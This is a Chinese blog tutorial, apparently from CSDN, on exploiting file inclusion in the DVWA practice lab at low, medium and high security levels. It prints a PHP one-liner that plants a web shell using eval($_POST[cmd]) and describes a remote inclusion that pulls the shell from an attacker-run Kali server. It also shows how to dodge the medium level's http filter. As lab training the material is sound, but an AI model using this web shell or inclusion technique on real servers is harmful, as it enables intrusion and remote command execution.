DVWA文件包含漏洞(file inclusion)
目录
文件包含漏洞是在主机要执行的文件中添加包含木马的文件。
low级别和medium级别分别有远程文件包含(RFI)和本地文件包含(LFI),high级别使用了白名单,无法绕过。
1、low级别
1.1 本地文件包含
在 https://blog.csdn.net/kirito_pio/article/details/106547336 中,完成了对各个级别的文件上传,但是在执行high级别时只进行了上传,不能使用菜,因为图片是静态的文件,不能自己执行,需要等待请求。
图片中包含的一句话脚本如下,可以在执行时新建并写入一个php文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
对low级别的代码如下,直接对资源进行访问,不设置过滤。
<?php
$file = $_GET['page']; //The page we wish to display
?>
先根据 https://blog.csdn.net/kirito_pio/article/details/106547336 high级别进行图片的上传。
再切换到file inclusion,输入上传文件的网址,记得要把安全级别切换到low,high的话不会成功;如果出现各种字符,说明读取到了文件。
为了验证结果,可以去靶机下的/var/www/dvwa/vulnerabilities/fi进行查看,会发现增加了shell.php文件;最后可以通过菜刀对文件进行增删进行验证。
1.2 远程文件包含
远程文件包含是主机访问远端的一个服务器,所以要设置一个服务器,可以使用kali。
首先,保证靶机的allow_url_fopen是开启的(保证可以使用URL去包含文件),文件路径是/etc/php5/cli/php.ini
第二步,搭建服务器。我使用的是kali(ip:192.168.5.131),使用命令systemctl start apache2 开启服务,用systemctl status apache2检测状态。
kali存放网络文件的路径为/var/www/html,把需要访问的shell文件放在此路径下。
注意:此处的shell文件的类型不能设为.php,我用的是.txt。
第三步,进行访问。在 page= 后加入网址。
第四步,进行验证。和之前一样,使用菜刀;也可以去靶机的/var/www/dvwa/vulnerabilities/fi路径下进行查看,多了shell.php文件。
2、medium级别
对于网站的php代码,增加了对http/https协议的过滤。
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
因为本地文件包含不涉及http协议,所以,medium级别下本地文件包含和low级别下没有区别。
对远程文件包含,代码会筛选出http://和https://并删除,所以可以在之前的low级别下输入的网址进行插入。
其他操作均与low相同。
3、high级别
high级别是安全的。代码如下,指定了执行的白名单,只允许特定的文件执行。
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
推荐阅读
-
php 远程包含文件漏洞分析第1/6页
-
黑客如何利用文件包含漏洞进行网站入侵
-
学习利用文件包含漏洞进行网站入侵
-
NET下编译C++代码时出现fatal error C1083: 无法打开包含文件:“iostream.h”: No such file or director
-
DVWA学习之文件包含file inclusion漏洞
-
DVWA文件包含漏洞(file inclusion)
-
DVWA V1.9:File Upload(文件上传)
-
PhpMyAdmin4.8.1文件包含漏洞分析及复现利用(CVE-2018-12613)
-
【漏洞复现】phpmyadmin后台任意文件包含(CVE-2018-12613)
-
PHP 网络开发详解之远程文件包含漏洞